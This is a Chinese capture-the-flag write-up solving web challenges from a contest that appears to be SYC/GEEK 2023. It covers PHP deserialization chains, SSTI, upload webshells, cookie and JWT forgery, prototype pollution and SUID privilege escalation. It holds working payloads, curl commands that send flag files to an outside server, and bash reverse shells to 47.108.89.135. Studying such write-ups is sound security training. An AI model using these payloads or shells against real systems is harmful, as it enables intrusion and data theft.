by:Infernity
EzHttp 请post传参username和password进行登录
第一步先找username和password,查看源码发现“**密码记在了不想让爬虫获取的地方!**”
查阅资料,
1 几乎所有的搜索引擎爬虫,都会遵守robots协议
那么打开robots.txt,再进入/o2takuXX’s_username_and_password.txt
发现username和password
1 2 username: adminpassword: @dm1N123456r00t#
返回index.php,继续传参后:
那么修改Referer为sycsec.com
那么修改User-Agent为Syclover
那么添加一句x-forwarded-for:127.0.0.1
那么添加一句via:Syc.vip
然后代码审计php,$_SERVER是获取请求头里的参数值,后面是HTTP_O2TAKUXX,我们去掉HTTP_在请求头里加一句:O2TAKUXX:GiveMeFlag
爆出flag:SYC{HttP_1s_E@sY}
unsign 反序列化,好诶!
1 2 3 4 5 6 7 8 9 10 11 12 class web { public $eva1 ; public $interesting ; public function __get ($var ) { echo ("get!<br>" ); $eva1 =$this ->eva1; $eva1 ($this ->interesting); } }
先看末尾,web这个类里有明显的提示eva1长得像eval勒,肯定就是这里命令执行输出flag,我们写eva1=’system’,interesting=’ls /‘
那么我们肯定要先进入这个方法:
那肯定就要往上看了:
1 2 3 4 5 6 7 8 9 10 11 class lover { public $yxx ; public $QW ; public function __invoke ( ) { echo ("invoke!<br>" ); return $this ->yxx->QW; } }
lover这个类里面最后return $this->yxx->QW;我们只需要将yyx和QW随便设置一个值,反正随便设置的肯定没法访问,所以就能触发get()方法,我这里设置yxx=’a’,QW=’a’
要这样用,肯定就要触发invoke()方法,
就要看最上面的一个类:
1 2 3 4 5 6 7 8 9 10 class syc { public $cuit ; public function __destruct ( ) { echo ("action!<br>" ); $function =$this ->cuit; return $function (); } }
这里$function=$this->cuit;把cuit的值赋给function,然后return $function();这里就触发invoke()方法,
这里也不用管cuit到底是什么,反正都会将对象调用为函数而出发invoke()我这里设置cuit=’a’
而destruct()方法是在这里会自动触发,所以不用管。
最终代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class syc { public $cuit ='a' ; }class lover { public $yxx ='a' ; public $QW ='a' ; }class web { public $eva1 ='system' ; public $interesting ='ls /' ; }$a = new syc ();$a ->cuit=new lover ();$a ->cuit->yxx=new web ();echo (serialize ($a ));?>
把输出传入题中,发现返回了ls /的执行情况,那么这道题就解决了。
SYC{wqle9ssXk9cB7fhYly}
n00b_Upload 文件上传,先传一个jpg文件看看
1 <?php @eval ($_POST ['123' ]);?>
说我后缀过了,头部过了,你上传的内容一看就是木马
说明有文件内容检查,经过尝试,发现会过滤<?php,那么使用php短标签试试
1 <?= (表达式)?> 等价于 <?php echo (表达式)?>
传入123.php
发现上传成功,进入文件目录,发现回显了本目录下的所有东西,那么这道题解决了。
(这道题还是动态flag=-=)
SYC{hUR1ep7TkikaVYaoiM}
easy_php php代码审计
1 preg_match ('/^Welcome to GEEK 2023!$/i' , $_GET['syc' ])
这一句^和$的作用是从头到尾匹配,说明我们不能在前后增减字符,只能是他给的这个字符串,但是
1 $_GET['syc'] !== 'Welcome to GEEK 2023 !'
后面又让我们传入的syc不等于他给的字符串怎么办勒,关键就是第一句prge_match的修饰符/i
那么,我们只需要在原字符串上随便修改一个大小写就成功进入if,传入syc=Welcome to GEEk 2023!
1 intval ($_GET['lover' ]) < 2023 && intval ($_GET['lover' ] + 1 ) > 2024
这一句intval函数是取得变量的整数部分,如果是字符串就为0,如果是数字和字符串,取得第一个遇到的数字的值。这里让lover<2023 加1后又大于2024,怎么办嘞,我们利用intval函数和php传参时的性质:
我们知道php传入的参数都是字符串,而且php中数字有特殊的表示方式,比如科学技术法。
我们传入lover=2e4,传入2e4后因为会被识别成字符串,intval函数就会取第一个数字的值,即为2,这里就小于了2023,后面’2e4’+1这里进行了运算,php就会认为2e4不是字符串而是个数字,即是20000+1=20001>2024
这里就进入了if。
1 2 3 $array1 = (string )$_POST['qw' ] $array2 = (string )$_POST['yxx' ]if (sha1($array1) === sha1($array2))
这里强制把我们传入的qw和yxx转成了字符串,那么平时强比较绕过的方法就失效了,我们必须找sha1确实相等的两个字符串。经过查找sha1碰撞:
1 2 3 qw= %25 PDF-1.3 %0 A%25 %E2 %E3 %CF %D3 %0 A%0 A%0 A1 %200 %20 obj%0 A%3 C%3 C/Width%202 %200 %20 R/Height%203 %200 %20 R/Type%204 %200 %20 R/Subtype%205 %200 %20 R/Filter%206 %200 %20 R/ColorSpace%207 %200 %20 R/Length%208 %200 %20 R/BitsPerComponent%208 %3 E%3 E%0 Astream%0 A%FF %D8 %FF %FE %00 %24 SHA-1 %20 is%20 dead%21 %21 %21 %21 %21 %85 /%EC %09 %239 u%9 C9 %B1 %A1 %C6 %3 CL%97 %E1 %FF %FE %01 %7 FF%DC %93 %A6 %B6 %7 E%01 %3 B%02 %9 A%AA %1 D%B2V %0 BE%CAg %D6 %88 %C7 %F8K %8 CLy%1 F%E0 %2 B%3 D%F6 %14 %F8m %B1i %09 %01 %C5kE %C1S %0 A%FE %DF %B7 %608 %E9rr /%E7 %ADr %8 F%0 EI%04 %E0F %C20W %0 F%E9 %D4 %13 %98 %AB %E1. %F5 %BC %94 %2 B%E35B %A4 %80 -%98 %B5 %D7 %0 F%2 A3 .%C3 %7 F%AC5 %14 %E7M %DC %0 F%2 C%C1 %A8t %CD %0 Cx0 Z%21 Vda0 %97 %89 %60 k%D0 %BF %3 F%98 %CD %A8 %04 F%29 %A1 & yxx= %25 PDF-1.3 %0 A%25 %E2 %E3 %CF %D3 %0 A%0 A%0 A1 %200 %20 obj%0 A%3 C%3 C/Width%202 %200 %20 R/Height%203 %200 %20 R/Type%204 %200 %20 R/Subtype%205 %200 %20 R/Filter%206 %200 %20 R/ColorSpace%207 %200 %20 R/Length%208 %200 %20 R/BitsPerComponent%208 %3 E%3 E%0 Astream%0 A%FF %D8 %FF %FE %00 %24 SHA-1 %20 is%20 dead%21 %21 %21 %21 %21 %85 /%EC %09 %239 u%9 C9 %B1 %A1 %C6 %3 CL%97 %E1 %FF %FE %01 sF%DC %91 f%B6 %7 E%11 %8 F%02 %9 A%B6 %21 %B2V %0 F%F9 %CAg %CC %A8 %C7 %F8 %5 B%A8Ly %03 %0 C%2 B%3 D%E2 %18 %F8m %B3 %A9 %09 %01 %D5 %DFE %C1O %26 %FE %DF %B3 %DC8 %E9j %C2 /%E7 %BDr %8 F%0 EE%BC %E0F %D2 %3 CW%0 F%EB %14 %13 %98 %BBU. %F5 %A0 %A8 %2 B%E31 %FE %A4 %807 %B8 %B5 %D7 %1 F%0 E3 .%DF %93 %AC5 %00 %EBM %DC %0 D%EC %C1 %A8dy %0 Cx%2 Cv%21 V%60 %DD0 %97 %91 %D0k %D0 %AF %3 F%98 %CD %A4 %BCF %29 %B1
POST传参,成功绕过。
最后一步是非法变量名,在php中[ . 空格 +都会被转为_而如果前面有一个[,就只有这个中括号会被转化为下划线,后面的这些字符就不会被转化,所以我们传入SYC[GEEK.2023=Happy to see you!
成功拿到flag
SYC{RF8MgCYJC9diWlfaKq}
ctf_curl 这里考察curl的用法
https://www.ruanyifeng.com/blog/2019/09/curl-reference.html
告诉了我们flag的位置和名字,我们使用-d参数,将flag发送到我们的服务器上,
1 ?addr =-d @/tmp/Syclover 47.108.89.135
由于这里过滤了:所以我们不能添加端口,只能使用默认的80端口。
打开ssh链接服务器,监听80端口,在输入参数发包,就能在我们的服务器上接受到flag
klf_ssti index.php啥也没有,查看源码,去看看/hack
再看源码,提示我们传入klf参数,根据题目名字我们知道这里应该是ssti注入。
经过一系列尝试,发现无论输入什么都会是一个小黄脸嘲讽我们,那可能是ssit无回显。
找到万能payload
1 {}config .__class__.__init__.__globals__['os' ].popen ('aaa' ).read ()}}
把aaa换成我们的命令,本来想尝试反弹shell,发现目标机好像不支持反弹shell,那么虽然无回显,我们可以通过将回显写入一个文件,再通过curl命令读取文件发送到我们的服务器上,完成伪反弹shell。
首先
1 {}config .__class__.__init__.__globals__['os' ].popen ('ls /app>1.txt' ).read ()}}
然后我们读取1.txt
1 {}config .__class__.__init__.__globals__['os' ].popen ('curl -d @1.txt 47.108.89.135:2333' ).read ()}}
于此同时,我们在ssh上开启监听
收到了回显,发现flag叫fl4gfl4gfl4g,那么
1 2 {}config.__class__.__init__.__globals__['os' ].popen('cat /app/fl4gfl4gfl4g >1.txt' ).read ()}}
重复上述步骤,拿到flag
SYC{wvDsEswyYrqSKJYJme}
ez_remove 短小精焊的反序列化,题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );class syc { public $lover ; public function __destruct ( ) { eval ($this ->lover); } }if (isset ($_GET ['web' ])){ if (!preg_match ('/lover/i' ,$_GET ['web' ])){ $a =unserialize ($_GET ['web' ]); throw new Error ("快来玩快来玩~" ); } else { echo ("nonono" ); } }?>
考点一:fast_destruct
当一个PHP线程结束时,当前占用的所有内存空间都会被销毁,当前程序中的所有对象同样被销毁。
关键的eval函数被放在destruct方法里,正常析构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用。而这里程序多给了一句:throw new Error()
这就导致__destruct方法无法被正常触发,所以我们得想办法提前触发__destruct
首先我们需要生成一个数组:
1 2 3 4 5 $a =new syc ();echo serialize ($a ); 改为$a =array (new syc (),'awawaw' );echo serialize ($a );
然后我们需要把生产后的序列化代码的第二个i后面的数字改成0
1 2 3 a:2 :{i:0 ;O:3 :"syc" :1 :{s:5 :"lover" ;s:10 :"phpinfo();" ;}i:1 ;s:6 :"awawaw" ;} 改成 a:2 :{i:0 ;O:3 :"syc" :1 :{s:5 :"lover" ;s:10 :"phpinfo();" ;}i:0 ;s:6 :"awawaw" ;}
这样改后,php反序列化完第一个数组,也就是payload的时候,计数器-1就会提前触发__destruct
考点二:绕过变量名过滤
题目中把唯一的变量lover过滤了,给个文章:https://blog.csdn.net/qq_45570082/article/details/107998748#t10 我们可以考虑大写的S编码绕过。
1 2 S: encoded string 可以将16 进制编码成字符,可以进行绕过特定字符
那么,了解到‘l’的16进制编码是‘6c’ 把s:5:”lover”改成S:5:”\6cover”就能成功绕过。
考点三:Open_basedir绕过
打入payload发现system函数被禁用,看了看phpinfo发现命令执行函数都被ban了。
发现有open_basedir /var/www/html/
https://www.cnblogs.com/LLeaves/p/13210005.html
可以利用glob伪协议来读取文件目录。glob伪协议在筛选目录时不受open_basedir制约。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php printf ('<b>open_basedir : %s </b><br />' , ini_get ('open_basedir' ));$file_list = array ();$it = new DirectoryIterator ("glob:///*" );foreach ($it as $f ) { $file_list [] = $f ->__toString (); }$it = new DirectoryIterator ("glob:///.*" );foreach ($it as $f ) { $file_list [] = $f ->__toString (); }sort ($file_list );foreach ($file_list as $f ){ echo "{$f} <br/>" ; }?>
现成的payload,去掉换行和回车,转义引号:
1 public $lover ='printf(\'<b>open_basedir : %s </b><br />\', ini_get(\'open_basedir\'));$file_list = array();$it = new DirectoryIterator("glob:///*");foreach($it as $f) {$file_list[] = $f->__toString();}$it = new DirectoryIterator("glob:///.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo "{$f}<br/>";}' ;
读取到了根目录:
open_basedir : /var/www/html/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 . .. .dockerenv bin boot dev etc f1ger home lib lib64 media mnt optproc root runsbin srvsys tmpusr var
再利用ini_set读取文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php mkdir ('tmpdir' );chdir ('tmpdir' );ini_set ('open_basedir' ,'..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );chdir ('..' );ini_set ('open_basedir' ,'/' );$a =file_get_contents ('/etc/passwd' );var_dump ($a );?>
现成的payload,去掉换行和回车,转义引号:
1 public $lover ='mkdir(\'tmpdir\');chdir(\'tmpdir\');ini_set(\'open_basedir\',\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');chdir(\'..\');ini_set(\'open_basedir\',\'/\');$a=file_get_contents(\'/f1ger\');var_dump($a);' ;
打入题目获得flag:SYC{0ihPuPsdvLrLH2Owsm}
ez_path 给了一个pyc文件,需要反编译为python文件才能看到源码。
https://www.toolkk.com/tools/pyc-decomplie
一顿代码审计之后发现了os.path.join()函数,这个函数有个漏洞,如果传入的参数以/开头,就会不管当前的路径,直接以你传入的/开头的路径为返回值。
比如,我们文章名为abc,当前目录是/var/www/html/article/
我们的文章路径就会是/var/www/html/article/abc
而如果文章名是/abc 我们的文章路径就是/abc
发现网站源码里有flag名字:f14444
那么我们只需要文章名为/f14444即可直接打开flag:
SYC{KfxR42aRRGkRrW8YN8}
you konw flask? 这把必当教练了奥!
注册登录题首先想到修改flask token登录,先注册一个帐号,拿到现在的session
1 eyJpc19 hZG1 pbiI6 ZmFsc2 UsIm5 hbWUiOiIxIiwidXNlcl9 pZCI6 Mn0 .ZWHBvQ.YSvcSY0 -BnAI37 sWrJyZAFaRUKk
我们先要解密,才能修改数据,但是解密我们需要一个密钥。经过一顿找,发现在/robots.txt里有东西/3ysd8.html 打开后看源码
1 key是 app.secret_key = 'wanbao' +base64.b64encode (str (random.randint (1 , 100 )).encode ('utf-8' )).decode ('utf-8' )+'wanbao'
拿到了源码,发现密钥是随机的,那我们需要遍历100个密钥,找到真正的密钥。
跑个脚本:
1 2 3 4 5 import base64for i in range (1 ,100 ): secret_key = 'wanbao' + base64.b64encode(str (i).encode('utf-8' )).decode('utf-8' ) + 'wanbao' print (secret_key)
然后出来了100个密钥,我们用github上的一个工具,flask-session-cookie-manager-master来测试每个密钥正不正确,100可以手测,但是脚本更快,
1 for line in $(cat ~/Downloads/book.txt);do echo $line | tr -d "\r\n" ;python ~/web/flask-session-cookie-manager-master/flask_session_cookie_manager3.py decode -s $(echo $line | tr -d "\r\n" ) -c "eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxIiwidXNlcl9pZCI6Mn0.ZWHBvQ.YSvcSY0-BnAI37sWrJyZAFaRUKk" ; done
这个脚本可以把book.txt里的100个密钥分别测试,如果能成功解密,就打印这个密钥。
经过测试,发现密钥为wanbaoOTg=wanbao
而解密后的json数据是{‘is_admin’: False, ‘name’: ‘1’, ‘user_id’: 2}
显而易见,我们要把is_admin的值改为True,然后再通过密钥加密成session
1 python ~/web/flask-session-cookie-manager-master/flask_session_cookie_manager3.py encode -s 'wanbaoOTg=wanbao' -t "{'is_admin': True, 'name': '1', 'user_id': 2}"
替换原来的cookie
1 eyJpc19 hZG1 pbiI6 dHJ1 ZSwibmFtZSI6 IjEiLCJ1 c2 VyX2 lkIjoyfQ.ZWHFLQ.CvOT4 HS6 -TxGX_tsrjgDUwkvYEA
刷新页面,发现自己成为了教练力!进入学员管理,拿到flag
SYC{k49Ba0dwVuBxT7rqGQ}
Pupyy_rce 1 if (';' === preg_replace ('/[^\s\(\)]+?\((?R)?\)/' , '' , $var ))
经典无参数rce
提示在当前目录下有flag,这样可以直接使用随机读取当前目录文件payload
1 readfile (array_rand (array_flip (scandir (pos (localeconv ())))));
这是随机读文件,多试几次就能读到flag:
SYC{szmkLiIQ3ujD1BBWvV}
1 2 3 4 5 pos (localeconv() )是点scandir () 扫描当前目录文件array_flip () 将读取当前目录的键和值进行反转 其中的键可以利用随机数函数array_rand (),进行随机生成 然后利用readfile ()函数,读取该文件
雨 让我们看/source,说我们不是admin,应该也是修改cookie登录,我们先找到cookie
1 eyJhbGciOiJIUzI1 NiIsInR5 cCI6 IkpXVCJ9 .eyJ1 c2 VyIjoiZ3 Vlc3 QiLCJpYXQiOjE3 MDA5 MDgyMjl9. N6 H2 hwmB3 HWj1 CX1 xaNMgRWNcQZVK1 x5 Rj8 adN4 uWEo
我们还是要先找到密钥,查看当前页面源码,发现/hint,进去提示我们说密钥是出题人名字,VanZY
https://jwt.io/在这个网站里直接修改cookie内容,把guess换为admin,再打入cookie,刷新,看见源码。
审计源码发现:**res.render(‘index’, req.body);有两个命令执行点,第一个需要让 Super[‘userrole’] === ‘Superadmin’**第二个需要绕过过滤,过滤了所有能使用的函数,所以我们需要从第一个点进入,
var Super = {};定义好了,而我们需要让super变成数组,并传入**”userrole”:”Superadmin”**
这道题考js原型链污染
1 2 在/code路由里发现污染点putil_merge ({}, req.body , { deep : true }
1 2 { "__proto__" : { "userrole" : "Superadmin" } } 发现这样污染不行,换个payload
每个构造函数(constructor)都有一个原型对象(prototype)
对象的__proto__
属性,指向类的原型对象prototype
JavaScript使用prototype链实现继承机制
下面这条payload能成功污染原型链:
1 { "constructor" : { "prototype" : { "userrole" : "Superadmin" } } }
再在/create路由里进行Ejs模板引擎注入实现RCE
1 2 3 4 5 6 7 8 9 { "name" : "aaa" , "settings" : { "view options" : { "escapeFunction" : "console.log;this.global.process.mainModule.require('child_process').exec('xxx');" , "client" : "true" } } }
拿到模板,将xxx的内容修改为反弹shell命令,完整payload:
1 2 3 4 5 6 7 8 9 { "name" : "aaa" , "settings" : { "view options" : { "escapeFunction" : "console.log;this.global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.108.89.135/2333 0>&1\"');" , "client" : "true" } } }
监听2333端口,打入payload,成功拿到shell
SYC{Chun_a1_M4n_NeVer_G1ve_Up}
famale_imp_l0ve 打开提示说“压缩”,试着上传一个zip文件,发现上传成功,第一反映是zip伪协议读文件,就找找有无文件包含的地方,查看源码,发现/include.php进入发现是include文件包含。
上传的压缩包:
1 2 3 名字是:123 .zip 内容是:123 .jpg jpg内容是:<?php @eval ($_POST ['123' ]);?>
在/include.php传入
1 ?f ile=zip: //upload/ 123 .zip
然后就可以任意命令执行了
SYC{bobegCk7ysmNOMI8z2}
change_it 经典登录,发现源码里有帐号密码,登录之后发现有文件上传,但是告诉我们只有admin才能上传文件,我们复制cookie,但是需要找到密钥,一顿好找之后发现根本找不到,就去github上找到了一个密钥爆破脚本,下载下来后爆破密钥:
1 docker run -it --rm jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJRaW5nd2FuIiwibmFtZSI6InVzZXIiLCJhZG1pbiI6ImZhbHNlIn0.gzCFCz2Hw5c_EIjcM2lQ2QL3aDW3rAAHU2ZQ50_tnY4
爆破出来密钥是:yibao
更换cookie后能上传文件,这道题可以直接上传php,但是我们的文件名被更换过一次,经过审计,发现是php伪随机数,随机数种子是当前时间截,我们只要掐好上传当时的时间截,把代码复制到本地跑一遍,就能拿到文件名了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php function php_mt_seed ($seed ) { mt_srand ($seed ); } $seed = 1700298188 ; php_mt_seed ($seed ); $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $newFileName = '' ; for ($i = 0 ; $i < 10 ; $i ++) { $newFileName .= $characters [mt_rand (0 , strlen ($characters ) - 1 )]; } echo $newFileName .'.php' ;
文件名:TjjLzWMp9K.php
进入/upload/TjjLzWMp9K.php,成功命令执行。
SYC{fsfikgocwq4rsqmad5}
ezpython 发现有注册页面,随便注册一个,登录,看附件里的源码,发现/flag网址,进去提示我们不是vip,审计源码:
1 2 3 4 5 class User (): def __init__ (self ): self.username="" self.password="" self.isvip=False
user这个类里isvip默认是false,而在注册界面,发现有merge(data,user)
存在原型链污染,根据python的结构,我们在注册时post的json数据应该是这样的:
1 2 3 4 5 6 7 8 9 { "username" : "q" , "password" : "q" , "__class__" : { "__base__" : { "isvip" : " True" } } }
但是显示被过滤了,经过测试,发现过滤了isvip,那么尝试unicode编码绕过:
1 2 3 4 5 6 7 8 9 { "username" : "q" , "password" : "q" , "__class__" : { "__base__" : { "\u0069\u0073\u0076\u0069\u0070" : " True" } } }
注册成功!然后登录进去,进入/flag界面,提示我们传入一个num:
1 if '0' not in data and data != "123456789" and int (data) == 123456789 and len (data) <=10 :
传入的num满足以上条件,即可拿到flag,尝试在123456789前后加各种字符,发现均不行,最后发现空格和tab能成功进入,于是传入num=%20123456789或者num=%09123456789均可。
SYC{WaefaxJoYLKnVyQQhO}
EzRce 绕过waf.php命令执行,经过测试,发现只能用异或payload,先看看phpinfo:
1 ?data= (%8 f%97 %8 f%96 %91 %99 %90 ^%ff %ff %ff %ff %ff %ff %ff )()
发现ban了绝大多数命令执行函数:
1 exec ,system ,fwrite ,passthru,popen ,shell_exec,error_log,fputs,file_get_contents,assert,call_user_func,call_user_func_array,array_map,array_filter,array_reduce,get_defined_vars,getallheaders
但还剩一个proc_open。
根据php手册的内容:
1 2 3 4 5 6 7 8 9 10 11 12 <?php $test = "ipconfig" ; $array = array ( array ("pipe" ,"r" ), array ("pipe" ,"w" ), array ("pipe" ,"w" ) ); $fp = proc_open ($test ,$array ,$pipes ); echo stream_get_contents ($pipes [1 ]); proc_close ($fp ); ?>
我们需要构造的payload为
1 2 proc_open ("bash -c " bash -i >& /dev/tcp/47.108.89.135 /2333 0 >&1 "" ,$array,$pipes);print_r (stream_get_contents($pipes[1 ]));
经过变量替换:
1 ?d ata=$a []="pipe" ;$a []="r" ;$aa []="pipe" ;$aa []="w" ;$aaa []=$a ;$aaa []=$aa ;$aaa []=$aa ;$_ ="bash -c " bash -i >& /dev/tcp /47.108.89.135/ 2333 0 >&1 "" ;$__ =proc_open($_ ,$aaa ,$___ );print_r(stream_get_contents($___ [1 ]));
经过异或操作:
1 ?data=$a[]=(%8f%96%8f%9a^%ff%ff%ff%ff);$a[]=(%8d^%ff);$aa[]=(%8f%96%8f%9a^%ff%ff%ff%ff);$aa[]=(%88^%ff);$aaa[]=$a;$aaa[]=$aa;$aaa[]=$aa;$_=(%9d%9e%8c%97%df%d2%9c%df%dd%9d%9e%8c%97%df%d2%96%df%c1%d9%df%d0%9b%9a%89%d0%8b%9c%8f%d0%cb%c8%d1%ce%cf%c7%d1%c7%c6%d1%ce%cc%ca%d0%cd%cc%cc%cc%df%cf%c1%d9%ce%dd^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff);$__=(%8f%8d%90%9c%a0%90%8f%9a%91^%ff%ff%ff%ff%ff%ff%ff%ff%ff)($_,$aaa,$___);(%8f%8d%96%91%8b%a0%8d^%ff%ff%ff%ff%ff%ff%ff)((%8c%8b%8d%9a%9e%92%a0%98%9a%8b%a0%9c%90%91%8b%9a%91%8b%8c^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff)($___[(%ce^%ff)]));
我们打入payload进行反弹shell,但是当我们cat /flag 的时候提示我们Permission denied没有权限,就要进行提权。https://blog.csdn.net/Fly_hps/article/details/80428173
利用命令查找系统上运行的所有SUID可执行文件。
1 find / -user root -perm -4000 -print 2>/dev/null
回显
1 2 3 4 5 6 7 8 9 /bin/mount/bin/su /bin/umount /usr/bin /chfn /usr /bin/chsh /usr/bin /find /usr /bin/gpasswd /usr/bin /newgrp /usr /bin/passwd
我们进行find提权:
1 find . -exec cat /flag \;
拿到flag
SYC{ThE_RCe is S0 Eas1ly_DD!}
ez_php 又臭又长的反序列化。
第一部分 刚开始就来了个下马威:
1 if (!preg_match ("/^[Oa]:[\d]+/i" , $user )) {
不能以Oa开头,假如不ban掉a的话,我们可以在a数组里面放上我们的恶意对象,也可以反序列化,但是ArrayObject,(此方法只在php版本8.0以下适用)他是C开头的,并且可以绕过O,然后还可以带属性反序列化,符合条件,因此可以构造payload:
1 2 $a = new ArrayIterator ($b );echo urlencode (serialize ($a ));
整段代码可以分为两部分,第一部分是做题部分,但是需要密钥,第二部分是拿取密钥部分,这里有很多小知识点。
在useless类中:
1 2 3 if ((strlen ($this ->QW))<80 && strlen ($this ->YXX)<80 ){ $bool =!is_array ($this ->QW)&&!is_array ($this ->YXX)&&(md5 ($this ->QW) === md5 ($this ->YXX)) && ($this ->QW != $this ->YXX) and $random ==='newbee' ; if ($bool ){
我们需要传入QW和YXX的值,让他俩值不相等,但是MD5加密相等,这种MD5加密强比较,第一反应应该是数组绕过,但是这里把数组ban了,第二反应是碰撞,但是找遍全网也找不到80个字符以下的两个md5相等的字符串,查询资料,发现还有第三种方法:
1 2 NAN 代表非数值的特殊值,用于指示某个值不是数字NAN 与其他数值进行比较的结果总是不相等的,包括自身在内
所以将QW和YXX均赋值为NAN即可绕过。
1 关于这个的问题and $ra ndom==='newbee' ;
这里是一个随机数字,但是要等于一个字符串,显然不可能,其实这里不用管,因为赋值符号‘=’的优先级大于and,所以他会被忽略。
1 2 3 4 5 6 7 8 if (!preg_match ('/key\.php\/*$/i' , $_SERVER ['REQUEST_URI' ])){ $a = isset ($_GET ['a' ])? $_GET ['a' ]: "" ; if (!preg_match ('/HTTP/i' , $a )){ echo (basename ($_SERVER [$a ])); if (basename ($_SERVER [$a ])==='key.php' ){ echo ("找到了!但好像不能直接使用,怎么办,我好想她<br>" ); $file = "key.php" ; readfile ($file );
然后我们需要传入一个a,
1 2 3 案例网址:https:// www.shawroot.cc/php/i ndex.php/test/ foo?username=root$_SERVER ['PHP_SELF' ] 得到:/php/i ndex.php/test/ foo$_SERVER ['REQUEST_URI' ] 得到:/php/i ndex.php/test/ foo?username=root
$_SERVER[‘REQUEST_URI’]又不能存在key.php,所以我们传入a=PHP_SELF
然后在当前的url网址后面加上/key.php即可
1 2 3 https://e3kdaoip15ici39mafpbux8qb.node.game.sycsec.com/havefun.php 改为 https://e3kdaoip15ici39mafpbux8qb.node.game.sycsec.com/havefun.php/key.php
最终的php代码:
1 2 3 4 5 6 7 8 9 <?php class useless { private $seeyou ; public $QW =NAN; public $YXX =NAN; }$b =new useless ();$a = new ArrayIterator ($b );echo urlencode (serialize ($a ));
最终payload:
1 https: //e3 kdaoip15 ici39 mafpbux8 qb.node.game.sycsec.com/havefun.php/key.php?user= C%3 A13 %3 A%22 ArrayIterator%22 %3 A89 %3 A{x %3 Ai%3 A0 %3 BO%3 A7 %3 A%22 useless%22 %3 A3 %3 A{s%3 A15 %3 A%22 %00 useless%00 seeyou%22 %3 BN%3 Bs%3 A2 %3 A%22 QW%22 %3 Bd%3 ANAN%3 Bs%3 A3 %3 A%22 YXX%22 %3 Bd%3 ANAN%3 B}%3 Bm%3 Aa%3 A0 %3 A{}}&a= PHP_SELF
拿到了一大串base64加密后的东西,拿去解密之后发现是图片,查看图片找到密钥
key=9
hername=momo
第二部分 分析pop链,在her 类中,找到我们的终点:
1 echo new $_POST ['ctf' ]($_GET ['fun' ]);
应该是php原生类读文件,我们一步一步从终点反推:
1 if (isset ($file ) && (file_get_contents ($file ,'r' ) === "loveyou" ))
这里可以用data伪协议进入:
1 ?file=data://text/plain;base64 ,bG92ZXlvdQ==
然后需要密钥和她的名字:
1 if (encode ($this ->hername,$this ->key) === 'vxvx' ) {
我们需要在另一部分去拿。
然后以上这些东西都在find这个方法里,我们需要进入这个方法,并且因为里面使用了$this,所以只能动态调用该方法,这个后面说。
找到唯一可以调用函数的地方:
useless类中有get方法:
1 2 3 4 5 6 public function __get ($good ) { echo "you are good,你快找到我爱的那个她了<br>" ; $zhui = $this ->$good ; $zhui [$good ](); } }
而能触发get方法的是important类中的sleep方法:
1 2 3 4 5 public function __sleep ( ) { echo ("睡饱了,接着找!<br>" ); return $this ->power->seeyou; } }
在直接获取私有成员属性得时候,自动调用了这个__get()方法,这里的seeyou是私有属性,所以会调用get,进入get之后,$good就是触发get方法的属性名,即seeyou,所以get当中关键句就变成了
我们需要修改seeyou这个数组当中的seeyou的键值,从而调用find函数。
原来尝试过静态调用:
1 $seeyou =["seeyou" =>"her::find" ];
但是不成功,只能动态调用:
1 $seeyou =["seeyou" =>[new her (), "find" ]];
接着回到链子,现在需要触发sleep方法,当序列化的时候会自动触发,在her类中有序列化函数
1 2 3 4 public function __invoke ( ) { echo ("好累,好想睡一觉啊<br>" ); serialize ($this ->asd); }
现在需要进入invoke方法,当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。在Me类中找到:
1 2 3 public function __wakeup ( ) { $bb = $this ->qwe; return $bb ();
而wakeup会自动执行。
所以我们的pop链就出来了:
1 new Me() -> __wakeup() ->new her() -> __invoke() ->new important() -> __sleep() ->new useless() -> __get() ->new her() -> find()
最终php代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class Me { public $qwe ; public $bro ; public $secret ; }class her { private $hername = 'momo' ; private $key = '9' ; public $asd ; }class important { public $power ; }class useless { private $seeyou ; public $QW ; public $YXX ; public function __construct ($seeyou ) { $this ->seeyou = $seeyou ; } }$b = new Me ();$b ->bro = &$b ->secret;$b ->qwe = new her ();$b ->qwe->asd = new important ();$b ->qwe->asd->power = new useless (["seeyou" =>[new her (), "find" ]]);$a = new ArrayIterator ($b );echo urlencode (serialize ($a ));
最后是原生类读文件,当我们想要读取到某个文件时,我们就可以利用SplFileInfo或者SplFileObject类来对文件进行操作。这内置类也只能读取第一行,同样我们可以使用foreach把它们全部都打印出来。
但是这里我们可没有foreach函数可以用,只能读取文件名,所以尝试目录遍历
https://blog.csdn.net/m0_62422842/article/details/125045832
我们用FilesystemIterator扫描一下当前目录第一个文件(只能第一个=-=)
1 2 fun =/var /www/html/ ctf=FilesystemIterator
拿到一个文件名flag_my_baby.php ,打开康康,找到flag
SYC{jUHzFBdyEKq2lySHks}
最终payload:
